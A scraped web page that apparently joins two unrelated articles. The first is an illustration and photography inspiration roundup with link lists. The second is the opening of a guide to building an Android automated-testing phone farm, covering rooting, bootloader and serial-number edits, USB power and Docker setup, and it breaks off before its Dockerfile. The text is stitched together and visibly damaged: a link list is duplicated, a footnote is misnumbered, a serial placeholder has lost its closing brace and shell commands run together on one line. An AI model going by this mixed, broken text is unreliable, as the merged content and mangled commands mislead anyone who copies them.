27. 27 https://dribbble.com/shots/3319114-Mystery-Project-82-1
28. 28 https://dribbble.com/shots/3319114-Mystery-Project-82-1
29. 29 http://designyoutrust.com/2017/03/10-finalists-of-the-world-wildlife-day-photography-competition/
30. 30 http://designyoutrust.com/2017/03/10-finalists-of-the-world-wildlife-day-photography-competition/
31. 31 http://designyoutrust.com/2017/03/10-finalists-of-the-world-wildlife-day-photography-competition/
32. 32 https://www.behance.net/gallery/48788243/2016-editorial-work
33. 33 https://www.behance.net/gallery/48788243/2016-editorial-work
34. 34 https://www.instagram.com/p/BK2tZ7-hyUz/
35. 35 https://www.instagram.com/p/BK2tZ7-hyUz/
36. 36 https://www.behance.net/gallery/47416785/Fluvial
37. 37 https://www.behance.net/gallery/47416785/Fluvial
38. 38 https://twitter.com/ISO50/status/837339545968467968
39. 39 https://twitter.com/ISO50/status/837339545968467968
40. 40 http://www.madsberg.dk/hansens-bicycle-race
41. 41 http://www.madsberg.dk/hansens-bicycle-race
42. 42 http://javaslehnstudio.com/projects/hotel-americano
43. 43 http://javaslehnstudio.com/projects/hotel-americano
44. 44 http://zaraillustrates.tumblr.com/post/154515717454/bauhausmusic-part-i-a-self-initiated-project
45. 45 http://zaraillustrates.tumblr.com/post/154515717454f/bauhausmusic-part-i-a-self-initiated-project
46. 46 https://agentpekka.com/artist/craig-karl/fazer-marianne-2/
47. 47 https://agentpekka.com/artist/craig-karl/fazer-marianne-2/
48. 48 https://www.instagram.com/p/BLgZhAOBbhH/
49. 49 https://www.instagram.com/p/BLgZhAOBbhH/
50. 50 https://500px.com/photo/202053703/the-path-by-adnan-bubalo
51. 51 https://500px.com/photo/202053703/the-path-by-adnan-bubalo
52. 52 https://500px.com/photo/201248521/aftenoon-and-downhill-by-j%C3%B8rn-allan-pedersen
53. 53 https://500px.com/photo/201248521/aftenoon-and-downhill-by-j%C3%B8rn-allan-pedersen
54. 54 http://seescotty.com/projects/educating-dreams/
55. 55 http://seescotty.com/projects/educating-dreams/
56. 56 http://phraseologyproject.com/phrase/milk-honey
57. 57 http://phraseologyproject.com/phrase/milk-honey
58. 58 https://500px.com/photo/202110489/reflections-of-kinderdijk-ii-by-herman-van-den-berge
59. 59 https://500px.com/photo/202110489/reflections-of-kinderdijk-ii-by-herman-van-den-berge
60. 60 http://www.nathparis.net/color/9v8xaekd4w01fleunpskv86nw2xbug
61. 61 http://www.nathparis.net/color/9v8xaekd4w01fleunpskv86nw2xbug
62. 62 http://www.artlebedev.com/everything/illustrations/iiyama/10921/
63. 63 http://www.artlebedev.com/everything/illustrations/iiyama/10921/
64. 64 https://www.behance.net/gallery/47239067/Matchbox-Cycling-Packaging
65. 65 https://www.behance.net/gallery/47239067/Matchbox-Cycling-Packaging
66. 66 http://www.elodie-illustrations.net/portfolio-view/beauty/
67. 67 http://www.elodie-illustrations.net/portfolio-view/beauty/
68. 68 http://www.elodie-illustrations.net/portfolio-view/portraits/
69. 69 http://www.elodie-illustrations.net/portfolio-view/portraits/
70. 70 http://loulouandtummie.com/portfolio-posts/up-characters/
71. 71 http://loulouandtummie.com/portfolio-posts/up-characters/
72. 72 https://dribbble.com/shots/3356749-Tuscany
73. 73 https://dribbble.com/shots/3356749-Tuscany
74. 74 https://twitter.com/thisisFINLAND/status/842060400296361984
75. 75 https://twitter.com/thisisFINLAND/status/842060400296361984
76. 76 https://www.behance.net/gallery/49833147/Selected-projects-Winter-2016
77. 77 https://www.behance.net/gallery/49833147/Selected-projects-Winter-2016
78. 78 http://twoarmsinc.com/work/view/yankee
79. 79 http://twoarmsinc.com/work/view/yankee
80. 80 https://dribbble.com/shots/2994377-Robinhood-Gold
81. 81 https://dribbble.com/shots/2994377-Robinhood-Gold
82. 82 http://www.ketchup-mustard.com/design#/digital-arts-expo/
83. 83 http://www.ketchup-mustard.com/design#/digital-arts-expo/
84. 84 http://mokerontwerp.nl/blog/
85. 85 http://mokerontwerp.nl/blog/
86. 86 http://pixartimes.com/
87. 87 http://www.lukebott.com/play/pixar-times/
88. 88 http://www.lukebott.com/play/pixar-times/
89. 89 http://www.lyonsa.com/Eurostar-Metropolitan-magazine
90. 90 http://www.lyonsa.com/Eurostar-Metropolitan-magazine
91. 91 http://www.jackiebesteman.com/editorial.html
92. 92 http://www.jackiebesteman.com/editorial.html
93. 93 http://www.robertsamuelhanson.com/FAZ-1
94. 94 http://www.robertsamuelhanson.com/FAZ-1
95. 95 http://marykatemcdevittblog.tumblr.com/post/141498329358/when-im-stressed-about-work-i-just-think-about
96. 96 http://marykatemcdevittblog.tumblr.com/post/141498329358/when-im-stressed-about-work-i-just-think-about
97. 97 http://thepatternlibrary.com/#hotdogs
98. 98 https://dribbble.com/shots/1419921-Hotdogs
99. 99 https://dribbble.com/shots/1419921-Hotdogs
100. 100 http://mikemcquade.com/Bleacher-Report-Tebow-Switch
101. 101 http://mikemcquade.com/Bleacher-Report-Tebow-Switch
102. 102 http://tiphaine-illustration.com/fr/artistes/tom-haugomat
103. 103 http://tiphaine-illustration.com/fr/artistes/tom-haugomat
104. 104 https://500px.com/photo/204704785/life-is-beautiful-by-g%C3%BCrkan-g%C3%BCndo%C4%9Fdu
105. 105 https://500px.com/photo/204704785/life-is-beautiful-by-g%C3%BCrkan-g%C3%BCndo%C4%9Fdu
106. 106 http://colinhesterly.com/#/amex-gold/
107. 107 http://colinhesterly.com/#/amex-gold/
108. 108 http://abduzeedo.com/wallpaper-week-bokeh-tribute
109. 109 http://abduzeedo.com/wallpaper-week-bokeh-tribute

↑ Back to topTweet itShare on Facebook

On days when things don’t seem to go as you’d like them to and inspiration is at its lowest, it’s good to take a short break and go outside to try and empty your mind. That always seems to be the best remedy for me, especially whenever I jump on my bike and go for a short ride.

Now the time has come to enjoy these moments even more as the spring season finally starts to show up in nature. We’re starting to see green leaves on the trees again, and every morning I wake up to the sounds of the birds chirping. I really enjoy these small joys of spring — who doesn’t? Hopefully this new batch of illustrations will feed your creativity tank with extra vitamins to make sure those inspiration levels are up and running at its best.

Further Reading on SmashingMag: Link

• Finding Inspiration In Uncommon Sources: 12 Places To Look¹
• Add Music To Your Workflow To Improve Results²
• Inspiring Everyday Graphic Design³
• Art Inspiration From Individual Artist Portfolios⁴

Reflect Magazine Link

Great color combination. Impressive how all elements have been refined to their best simplicity.

⁵

Quentin Monge Link

The fantasy of French illustrator Quentin Monge. Such a lovely style!

⁷

“Lire” Cover Link

Admiring how the illustrator played with light sources and shadows. The faces immediately catch your attention, don’t they?

⁹

If I Was Small Link

This one made me laugh. What if I was small? Those characters are just sublime! So very well done.

¹¹

Endo-Kiss Link

Riding your bike together is exactly like you see here.

¹³

Almanac Beer Co’s Mural Link

Part of a bigger illustration of a mural. You can view a process video of how this was applied on the wall here¹⁵.

¹⁶

Cinerama Link

Part of a bumper animation that plays before each film at Cinerama. Here you see it animated¹⁸. It’s really cool — I’m sure you’ll agree.

¹⁹

Lone Tree Of Lake Wanaka Link

Sometimes you don’t need much to get a great picture.

²¹

Tweed Run London 2017 Link

This vintage bicycle event has always a nice poster.

²³

Beverly Hills Hotel: Gucci Link

Nice style! The eyes with glasses are such stunners.

²⁵

Mystery Project 82.1 Link

A sneak peek of a new print the crew at DKNG is working on. Looks like Austin to me. Love the effect of the letters used as masks. How the few colors are applied is just sublime!

²⁷

Kingfisher Link

One entry of ten finalists that capture the theme of “through young eyes” in this young photographers’ competition that aims to engage youth around the world in wildlife conservation. Check out the other nine submissions²⁹, too.

³⁰

For “Le Monde” Link

Divine color palette! Superb highlights and shadows.

³²

Café Insoluble Link

My kind of color palette and great textures.

³⁴

Lápiz Grafito Link

The colors are so harmonious and pleasing, and the drawing is just magnificent.

³⁶

Tycho: UK Tour Link

Another addition to the European Tour Tycho is currently working on. This is quite lovely and makes me think back to the cassette era.

³⁸

Hansen’s Bicycle Race Link

Always a fan of something with a bike in it. When it’s created by the talented Madsberg it gets even better. I love the elegance in his work.

⁴⁰

Hôtel Americano Link

Part of a series that was created as an irreverent ad campaign inspired by the hotel’s close relationship with the contemporary art world.

⁴²

Bauhaus Music Link

Project on the theme of music, while playing with a Bauhaus-inspired style.

⁴⁴

Fazer Marianne Link

Interesting play with lines. Not an easy one to pull off.

⁴⁶

Feel The Night Link

With the atmosphere in this illustration you just feel the night. Come in and enjoy the ride.

⁴⁸

The Path Link

Brilliant light. Excellently executed. A perfect example of what you can get when you are in the right spot at the right time.

⁵⁰

Afternoon And Downhill Link

Marvellous winter picture! Ain’t that light spectacular?

⁵²

Educating Your Dreams Link

Special style. Inspiring patterns.

⁵⁴

Milk & Honey Link

Lovely custom type and ornaments.

⁵⁶

Reflections Of Kinderdijk II Link

Beautiful perspective, great reflection and amazing warm colors!

⁵⁸

Paris: Nathalie Link

Gorgeous photos of Paris from Nathalie Geffroy. Be sure to go see the rest.

⁶⁰

Bending Over Backwards Link

I’ve been following Oksana Grivina for many years and her style is just as lovely as I remember.

⁶²

Matchbox Cycling Packaging Link

The legendary car that still is to be seen in Oudenaarde, Belgium. Neil Stevens created this one for Matchbox.

⁶⁴

Stella McCartney Link

The portraits of Elodie are always a pleasure to look at. So many details to take in and think (wish I could do that).

⁶⁶

Jane & Brigitte Link

A second one from Elodie that I couldn’t resist. Look at those eyes and lips.

⁶⁸

Up Characters Link

Admiring the faces of these holiday characters for Westjet‘s inflight magazine “UP”. The expressions created with just a few lines.

⁷⁰

Tuscany Link

Love the use of color and patterns. Beautiful curvy lines of the landscape too!

⁷²

White Aurora Link

What an amazing display of white Northern Lights or white aurora curtain. Seen somewhere over Finland.

⁷⁴

Fabric Magazine: London’s Green Spaces Link

Beautiful cover for Fabric‘s spring issue. Sam’s work usually has a futuristic element to it, but this one is great too, especially the plants and colors. Those lines and details in each leaf are just fantastically well executed. Perfect light and shadow effects too.

⁷⁶

Yankee Link

The typefaces, textures and colors. They are all spot on in this illustration. Inspired by country vintage.

⁷⁸

Robinhood Gold Link

Beautiful harmony and consistency without leaning over towards kitsch. Not easy when there is gold involved.

⁸⁰

Digital Arts Expo Link

Nice identity for The Digital Arts Expo, an annual showcase of student and faculty projects integrating engineering, computer science, and the visual and performing arts.

⁸²

ANWB: Kampioen Link

Great nostalgic vibe in this one. Reminds of the early adverts from the 60’s. Love the bright colors, as well as the shadow and highlights effects.

⁸⁴

Pixar Times Link

Illustration created for The Pixar Times⁸⁶. Everybody loves a hero. Love how the shadows are done, and the pattern effects.

⁸⁷

What To See And Do In Brussels Link

Illustrations for Eurostar‘s Metropolitan magazine to accompany an article about what to see and do in Brussels. The butcher chasing the cow is such a nice detail.

⁸⁹

Moment In New York Link

The faces are very original and recognizable as the style of Dutch illustrator Jackie Besteman.

⁹¹

Exercise On Skis Link

Love the figures and how they are portrayed.

⁹³

I Draws What I Likes… Link

“When I’m stressed about work, I just think about this. Drawring!” Beautiful custom typography and great colors.

⁹⁵

Hotdogs! Link

A nice pattern of hotdogs to get you hungry. It’s available at the pattern library⁹⁷.

⁹⁸

Bleacher Report Link

This image goes along an article on how Tim Tebow is making a drastic switch from being a football player to a baseball player. Love this vertical stripe collage blend effect. So well done!

¹⁰⁰

Modus Magazine Link

The lanes in the grass are like guides to draw you into the building. It also creates a beautiful symmetrical vibe.

¹⁰²

Life Is Beautiful Link

With a view like this I would totally think so. Taken in Belvedere, Tuscany.

¹⁰⁴

Amex Gold Link

Great usage of minimal colors and shapes.

¹⁰⁶

Bokeh Tribute Link

Lovely tribute to the bokeh effect.

¹⁰⁸

(il)

Footnotes Link

1. 1 https://www.smashingmagazine.com/2010/02/finding-inspiration-in-uncommon-sources-12-places-to-look/
2. 2 https://www.smashingmagazine.com/2010/07/add-music-to-your-workflow-to-improve-results/
3. 3 https://www.smashingmagazine.com/2016/03/inspiring-graphic-design/
4. 4 https://www.smashingmagazine.com/2010/11/art-inspiration-for-the-weekend/
5. 5 http://www.fernandovt.com/2016/12/3/reflect-magazine
6. 6 http://www.fernandovt.com/2016/12/3/reflect-magazine
7. 7 https://handsomefrank.com/illustrators/quentin-monge
8. 8 https://handsomefrank.com/illustrators/quentin-monge
9. 9 https://www.behance.net/gallery/48788243/2016-editorial-work
10. 10 https://www.behance.net/gallery/48788243/2016-editorial-work
11. 11 http://jack-hudson.com/#/if-i-was-small/
12. 12 http://jack-hudson.com/#/if-i-was-small/
13. 13 http://www.artcrank.com/home/as-endo-kiss
14. 14 http://www.artcrank.com/home/as-endo-kiss
15. 15 https://vimeo.com/201030301
16. 16 http://www.dkngstudios.com/blog/2017/1/25/almanac-san-francisco-taproom-murals
17. 17 http://www.dkngstudios.com/blog/2017/1/25/almanac-san-francisco-taproom-murals
18. 18 https://vimeo.com/182602999
19. 19 https://www.invisiblecreature.com/work/cinerama
20. 20 https://www.invisiblecreature.com/work/cinerama
21. 21 https://twitter.com/paddydonnelly/status/838161878085955584
22. 22 https://twitter.com/paddydonnelly/status/838161878085955584
23. 23 http://www.tweedrun.com/tickets/
24. 24 http://www.tweedrun.com/tickets/
25. 25 https://www.behance.net/gallery/35184423/Beverly-Hills-Hotel-Gucci
26. 26 https://www.behance.net/gallery/35184423/Beverly-Hills-Hotel-Gucci
27. 27 https://dribbble.com/shots/3319114-Mystery-Project-82-1
28. 28 https://dribbble.com/shots/3319114-Mystery-Project-82-1
29. 29 http://designyoutrust.com/2017/03/10-finalists-of-the-world-wildlife-day-photography-competition/
30. 30 http://designyoutrust.com/2017/03/10-finalists-of-the-world-wildlife-day-photography-competition/
31. 31 http://designyoutrust.com/2017/03/10-finalists-of-the-world-wildlife-day-photography-competition/
32. 32 https://www.behance.net/gallery/48788243/2016-editorial-work
33. 33 https://www.behance.net/gallery/48788243/2016-editorial-work
34. 34 https://www.instagram.com/p/BK2tZ7-hyUz/
35. 35 https://www.instagram.com/p/BK2tZ7-hyUz/
36. 36 https://www.behance.net/gallery/47416785/Fluvial
37. 37 https://www.behance.net/gallery/47416785/Fluvial
38. 38 https://twitter.com/ISO50/status/837339545968467968
39. 39 https://twitter.com/ISO50/status/837339545968467968
40. 40 http://www.madsberg.dk/hansens-bicycle-race
41. 41 http://www.madsberg.dk/hansens-bicycle-race
42. 42 http://javaslehnstudio.com/projects/hotel-americano
43. 43 http://javaslehnstudio.com/projects/hotel-americano
44. 44 http://zaraillustrates.tumblr.com/post/154515717454/bauhausmusic-part-i-a-self-initiated-project
45. 45 http://zaraillustrates.tumblr.com/post/154515717454f/bauhausmusic-part-i-a-self-initiated-project
46. 46 https://agentpekka.com/artist/craig-karl/fazer-marianne-2/
47. 47 https://agentpekka.com/artist/craig-karl/fazer-marianne-2/
48. 48 https://www.instagram.com/p/BLgZhAOBbhH/
49. 49 https://www.instagram.com/p/BLgZhAOBbhH/
50. 50 https://500px.com/photo/202053703/the-path-by-adnan-bubalo
51. 51 https://500px.com/photo/202053703/the-path-by-adnan-bubalo
52. 52 https://500px.com/photo/201248521/aftenoon-and-downhill-by-j%C3%B8rn-allan-pedersen
53. 53 https://500px.com/photo/201248521/aftenoon-and-downhill-by-j%C3%B8rn-allan-pedersen
54. 54 http://seescotty.com/projects/educating-dreams/
55. 55 http://seescotty.com/projects/educating-dreams/
56. 56 http://phraseologyproject.com/phrase/milk-honey
57. 57 http://phraseologyproject.com/phrase/milk-honey
58. 58 https://500px.com/photo/202110489/reflections-of-kinderdijk-ii-by-herman-van-den-berge
59. 59 https://500px.com/photo/202110489/reflections-of-kinderdijk-ii-by-herman-van-den-berge
60. 60 http://www.nathparis.net/color/9v8xaekd4w01fleunpskv86nw2xbug
61. 61 http://www.nathparis.net/color/9v8xaekd4w01fleunpskv86nw2xbug
62. 62 http://www.artlebedev.com/everything/illustrations/iiyama/10921/
63. 63 http://www.artlebedev.com/everything/illustrations/iiyama/10921/
64. 64 https://www.behance.net/gallery/47239067/Matchbox-Cycling-Packaging
65. 65 https://www.behance.net/gallery/47239067/Matchbox-Cycling-Packaging
66. 66 http://www.elodie-illustrations.net/portfolio-view/beauty/
67. 67 http://www.elodie-illustrations.net/portfolio-view/beauty/
68. 68 http://www.elodie-illustrations.net/portfolio-view/portraits/
69. 69 http://www.elodie-illustrations.net/portfolio-view/portraits/
70. 70 http://loulouandtummie.com/portfolio-posts/up-characters/
71. 71 http://loulouandtummie.com/portfolio-posts/up-characters/
72. 72 https://dribbble.com/shots/3356749-Tuscany
73. 73 https://dribbble.com/shots/3356749-Tuscany
74. 74 https://twitter.com/thisisFINLAND/status/842060400296361984
75. 75 https://twitter.com/thisisFINLAND/status/842060400296361984
76. 76 https://www.behance.net/gallery/49833147/Selected-projects-Winter-2016
77. 77 https://www.behance.net/gallery/49833147/Selected-projects-Winter-2016
78. 78 http://twoarmsinc.com/work/view/yankee
79. 79 http://twoarmsinc.com/work/view/yankee
80. 80 https://dribbble.com/shots/2994377-Robinhood-Gold
81. 81 https://dribbble.com/shots/2994377-Robinhood-Gold
82. 82 http://www.ketchup-mustard.com/design#/digital-arts-expo/
83. 83 http://www.ketchup-mustard.com/design#/digital-arts-expo/
84. 84 http://mokerontwerp.nl/blog/
85. 85 http://mokerontwerp.nl/blog/
86. 86 http://pixartimes.com/
87. 87 http://www.lukebott.com/play/pixar-times/
88. 88 http://www.lukebott.com/play/pixar-times/
89. 89 http://www.lyonsa.com/Eurostar-Metropolitan-magazine
90. 90 http://www.lyonsa.com/Eurostar-Metropolitan-magazine
91. 91 http://www.jackiebesteman.com/editorial.html
92. 92 http://www.jackiebesteman.com/editorial.html
93. 93 http://www.robertsamuelhanson.com/FAZ-1
94. 94 http://www.robertsamuelhanson.com/FAZ-1
95. 95 http://marykatemcdevittblog.tumblr.com/post/141498329358/when-im-stressed-about-work-i-just-think-about
96. 96 http://marykatemcdevittblog.tumblr.com/post/141498329358/when-im-stressed-about-work-i-just-think-about
97. 97 http://thepatternlibrary.com/#hotdogs
98. 98 https://dribbble.com/shots/1419921-Hotdogs
99. 99 https://dribbble.com/shots/1419921-Hotdogs
100. 100 http://mikemcquade.com/Bleacher-Report-Tebow-Switch
101. 101 http://mikemcquade.com/Bleacher-Report-Tebow-Switch
102. 102 http://tiphaine-illustration.com/fr/artistes/tom-haugomat
103. 103 http://tiphaine-illustration.com/fr/artistes/tom-haugomat
104. 104 https://500px.com/photo/204704785/life-is-beautiful-by-g%C3%BCrkan-g%C3%BCndo%C4%9Fdu
105. 105 https://500px.com/photo/204704785/life-is-beautiful-by-g%C3%BCrkan-g%C3%BCndo%C4%9Fdu
106. 106 http://colinhesterly.com/#/amex-gold/
107. 107 http://colinhesterly.com/#/amex-gold/
108. 108 http://abduzeedo.com/wallpaper-week-bokeh-tribute
109. 109 http://abduzeedo.com/wallpaper-week-bokeh-tribute

↑ Back to topTweet itShare on Facebook

Regression testing is one of the most time-consuming tasks when developing a mobile Android app. Using myMail as a case study, I’d like to share my experience and advice on how to build a flexible and extensible automated testing system for Android smartphones — from scratch.

The team at myMail currently uses about 60 devices for regression testing. On average, we test roughly 20 builds daily. Approximately 600 UI tests and more than 3,500 unit tests are run on each build. The automated tests are available 24/7, and save our testers a ton of time helping us to create high-quality applications. Without them, it would have taken us 36 hours (including wait time) to test every unit, or roughly 13 hours without the wait. It takes about 1.5 hours to run an automated test, including setup and translation updates. This cuts out weeks of tester work every day.

In case you write automated tests and do not deal with infrastructure, we will go through the process from the very beginning, from purchasing the phone and reinstalling firmware to creating Docker containers with the automated test phone inside. Watch the video¹ to see the result.

Further Reading on SmashingMag: Link

• Current Trends And Future Prospects Of The Mobile App Market²
• Optimizing Your Design For Rapid Prototype Testing³
• The Thumb Zone: Designing For Mobile Users⁴
• Where Are The World’s Best Open Device Labs?⁵

What Phones Are Best For Android Automated Tests? Link

When Android was just beginning to gain popularity, test developers had to choose the lesser of two evils: buy an expensive set of phones or work with slow and buggy virtual devices. Today, things are much simpler because virtual machines such as Android x86 and HAXM are available.

Yet there is still a choice to make. Many developers prefer virtual machines for automated tests, but actual phones have become a rather affordable option, even if your budget for test automation is limited. Real phones provide the most accurate picture of the application’s actual behavior. By using real phones, you can be certain that users will be able to perform any action in the program.

Accordingly, I recommend that even people who currently use virtual machines for test automation on Android obtain some real devices to ensure that their tests are also correct in real life. I’ll tell you how to choose a phone for automated regression testing and tell you what other equipment you’ll need in order to get everything to work together 24/7.

⁶

First of all, I should warn you that we will be choosing a phone model for regression tests, not configuration tests. Let’s assume that we have a lot of tests, for example 500 to 1000 application tests, that take 10 hours, and that we need several phones to complete them in 15 minutes. This sounds a little counterintuitive — why not just buy 10 to 20 different models of phones? The answer lies in the labor costs for the test automation code. You would end up writing the same test for different phone interfaces. When working with 20 different models, writing even one simple test would take a lot of time. But our present goal is to accelerate the execution of automated tests without increasing the labor costs of the programmer writing the tests.

The phone market is large, so it’s hard to know where to look first. What should be the criteria when choosing a phone? After some trial and error, I ended up with the following requirements (I’m not including any unit prices, since they should be readily available):

• There is a way to obtain the root privileges.
• There is a way to unlock the phone’s bootloader.
• The phone has an Android near-stock version, or there is an option to install the near-stock version. This means you won’t have to try a ton of different tests for various interfaces.
• The phone’s memory is no less than 1 GB. You can work with less, but various large object display checks will take a long time, even with consistently written tests.
• Ideally, the phone has long-term manufacturer support. If this is the case, we have a chance of extending its life with new OS versions.

These criteria for purchasing a phone boil down to two things: Phone should not be slow and stuttering, and its software innards should be customizable as much as possible. Eliminating lag time saves us from the troubles of time-consuming tests, and customizability lets us correct problems that may arise over time (deterioration of operating system versions, internal phone bugs, a need to change system settings). If you find that something incorrectly works on the phone, then you at least have the chance to fix it yourself.

Root privileges, for example, let you use the command line to easily change the time on the phone, switch between Wi-Fi networks, and enable and disable system programs to simulate working with and without them. The unlocked boot sector lets users update the operating system and add custom firmware that extends the phone’s life even if the manufacturer discontinues support (which, unfortunately, is the case with most phones we have now). It would be sad if users running on Android 4.4 or Android 6 encountered an error, but your phones with automated tests run on Android 5, so nothing can be changed.

Unfortunately, you can’t ask the seller about most of these criteria at the time of purchase. That’s why we must first go to the XDA Developers forums¹⁵⁸ and 4PDA forums⁹ to find all of the details we need to know about the model. If the model has been out for a while, pay attention to information about defects, memory and battery life — your device will be all but useless without these. Don’t be distracted by screens, buttons, cases, speakers and other features usually important to a user. The phone will work perfectly fine regardless (although this does depend on the specifics of your project).

Once you’ve chosen a model, you should probably order one or two for pretests to be sure that the OS doesn’t have any surprises in store, that all of the written tests run properly and that the hardware matches the manufacturer’s specifications. Below are the worst blunders I’ve seen in my experience as a buyer:

• A phone model with a lot of local subtypes
  
  This is a problem if you can only get root privileges or unlock the bootloader for just some of them. It is hard to find a certified Russian phone in unofficial stores, because fake and authentic phones look the same. Additionally, many sellers or their vendors reflash the model names, hardware specifications, regions and even OS versions. It’s quite possible to see one model in the Android settings, another model in the bootloader and a third model in a shell using getprop and get-IDs. The issue is that the phone has passed through multiple hands and regions before getting to you. Its first owner was some Verizon subscriber from South Dakota. He returns it, and the now refurbished device somehow ends up with some seller in Tel Aviv, who unskillfully installs his local OS version on the hardware. Then, a seller from Moscow buys it and sells it again as a new phone. The courier brings it to you, and you receive your new eight-core reflashable Russian device, having no clue that you are actually holding a six-core locked area-specific device originally from a US cellular service customer.

  ¹⁰
  

• Identical serial numbers
  
  It’s easier to identify the problem here, but unfortunately it’s common even among official dealers. The lack of a serial number is a problem associated with many inexpensive devices. If Android Debug Bridge (ADB) is used in your automated tests and several devices are connected to the machine, then you’ll need to either rewrite the ADB code (because it would only see one device) or, if the purchase was made according to the previously mentioned criteria, manually enter the unique serial number.

  ¹²
  

• A pseudorandom MAC address from the Wi-Fi module after restarting the phone
  
  This was quite a serious issue, because we discovered it only after I was sure that “everything was OK” — i.e. the phone met our requirements, so we ordered 20 more. During our automated tests, the phones sometimes restarted. After a while, the tests started to fail due to a lack of Wi-Fi connectivity, even though everything appeared to be running normally. There was a network connection, and everything worked properly after turning the Wi-Fi module off and on. The problem was that, at some point after the reboots, a couple of the phones would end up having the same MAC address, but the Wi-Fi hotspot would only grant access to the last one. Unfortunately, I couldn’t find where on the phones the MAC address is generated, so I had to put a script in the bootloader to force a unique MAC address to be set.

  ¹³
  

However, if you stick to the criteria above when choosing your phone, then these problems shouldn’t prove fatal. They can all be manually fixed to make the phone work properly.

So, which phones should you get to create your own test automation farm?

Google Nexus Link

If you have the resources to buy the latest working models of Google Nexus (these are currently devices such as the Nexus 5X to 6P), then get these without thinking twice. You can install almost any operating system on them, they have an inherently “clean” Android base, and developers also tend to use them to test their applications.

Any “Developer Edition” Phone Link

Many companies are currently producing phone models for developers. With these phones, you can generally unlock the bootloader, and root privileges are available. If you find a good offer, take it.

Cheap Chinese Phones With an MTK CPU Link

Many phones with MediaTek (MTK) processors can be reflashed perfectly, and their main advantage is low cost. You’ll need to look for the specific models on the local market in your country, because the phones are typically available under different brand names, depending on location. The real manufacturers are usually large companies such as Gionee, Lenovo, Inventec, Tinno Mobile, Longcheer and Techain. These companies resell their phones in Western countries under brand names including Fly, Zopo, Wiko, Micromax, MyPhone, Blu, Walton, Allview and others. But not all phones are suitable: always evaluate them according to the criteria listed above. Farms with phones like these can often be cheaper than servers with virtual Android machines, so there is a significant chance to save some money here.

In addition to phones, you are going to need a computer and USB hubs to run the automated tests. There are some other things to consider at this stage. For example, constantly operating phones need a good power supply (at least 0.5A per device; more is better). The majority of hubs on the market come with weak adapters, not designed to have a constantly running phone plugged in at every port. Things are even more complicated when it comes to tablets: 9-inch tablets die quickly when running continuously becuase of large screen power consumption, so we have to choose among 7-inch units. In our experience, six to seven phones can be hooked up to a 4A adapter (depending on their workload). Therefore, most multiport hubs with a “3A adapter and 20 USB ports” are useless, to put it mildly. The cream of the crop is server solutions, but they are crazy expensive. So, we are going to have to limit ourselves to the consumer market. To keep the phone running, you have to get 3A four-port hubs or 4A six-port hubs. If a hub has a good power supply and a large number of ports, some ports can simply remain unused.

Preparing The Phone To Work Link

Let’s look at one phone model as an example. We will solve an OS problem and then try to put several devices together on a simple test stand for test automation. The phone itself is inexpensive and of decent quality, but it is not without its own shortcomings (described above). For example, these phones have the same iSerial, so ADB sees only one device, even if multiple devices are connected. We won’t change it everywhere on the phone, but we’ll make it possible for ADB to distinguish between the phones.

To do this, we have to reflash the phone’s bootloader and install a custom recovery partition on the phone. This is to protect ourselves from any unsuccessful experiments. The manuals on how to flash your specific phone model can be found in the XDA Developers forums¹⁵⁸. Our phones have MT6580 installed, which is a MTK processor, so we can use SP Flash Tool as well as recovery.img and scatter file devices. These can be found online for almost any device on XDA Developers and 4PDA, but, if desired, a recovery can be compiled for your device using TWRP¹⁶ as a base and creating the scatter file yourself¹⁷. In any event, we’ll just take our files and reinstall them:

¹⁸

Once the recovery partition is installed, use it to save the bootloader backup and move it to your machine. As a rule, this is where the OS configuration files are located.

In order to hardcode your iSerial, you’ll need to unpack the phone’s bootloader image. This can be done via Android Image Kitchen²⁰. Start unpackimg.sh, and get the unpacked image in the ramdisk folder:

²¹

²²

Let’s find the file with the serial number ${ro.serialno and replace it with our own number — for example, 999222333019:

find ramdisk/ -maxdepth 1 -name "init.mt*" -exec sed -i

's/${ro.serialno}/999222333019/g' {} +

Now, let’s pack the image back up using repacking.sh, transfer it to the phone and install it using custom recovery. Now ADB can distinguish between devices. All we need to do now is turn on developer mode on the phone and enable debugging in the developer menu. Any similar problems can be solved in exactly the same way. Pretty much everything on the phone can be reinstalled if that is what the tests require.

Setting Up The Test Machine Link

We will use a standard desktop with Ubuntu as the host for our test system. It might be necessary to transfer the connected phones from one computer to another. We might also need to build separate versions of the app for specific phone models.

To accomplish this, for each phone it’s a good idea to create an isolated virtual environment that we can change if necessary (for example, to install other versions of the Java Development Kit or to configure monitoring), without altering the other phones’ environments. As a result, our machine will be divided into several environments, each one accessible via a single phone (or a group of phones, depending on your requirements). We can establish these environments by creating several virtual machines on the host (this can be done on any operating system). Or you can do what I like to do, which is divide the phones using Docker containers, which work best on Linux. We will use a conventional desktop with Ubuntu as an example of a host for our stand.

There are specifics to consider when ordering or building the machines that the phones will be connected to. Apart from the standard HDD, RAM and CPU specs, pay attention to the number of USB controllers on the motherboard and the supported USB protocol. Phones that use USB 3.0 (xHCI) could significantly limit the maximum number of devices attached to the machine (usually 8 per controller, or 16 devices for a machine with 2 controllers), so it’s worth checking whether it’s possible to turn it off and use only EHCI. You will find those options in the BIOS or OS. It is best to forcibly disable xHCI in the BIOS if you don’t require high-speed devices.

Creating A Container For The Phone Link

As I wrote earlier, we want an integration system slave-agent to work with a specific phone and see only this phone. This way, the tests won’t accidentally run on other phones and give false pass or error results. To accomplish this, we need to separate them. When an integration system agent launches in a Docker container, each agent has access to only one device, so we can divide tasks in the integration system by specific phone models, operating system versions, screen sizes and other characteristics (for example, a container with a tablet can perform tests that require a wide screen, and a container with a phone could run tests requiring the ability to receive text messages).

Let’s use the example of a system installation and setup on Ubuntu. Here is the installation of Docker itself:

sudo apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D echo 'deb https://apt.Dockerproject.org/repo main' >> /etc/apt/sources.list.d/Docker.list sudo apt-get update sudo apt-get install Docker-engine 

We are going to use OverlayFS as a storage driver (it is relatively fast and reliable). You can read about the differences between various storage drivers²³ on the official Docker website.

echo 'DOCKER_OPTS="-s overlay"' >> /etc/default/Docker

Then, we will create a Dockerfile, which is an instruction for Docker to install the minimum required software for the virtual environment where a mobile device will be isolated. We will create images from this instruction. Let’s add the Android SDK to the Dockerfile:

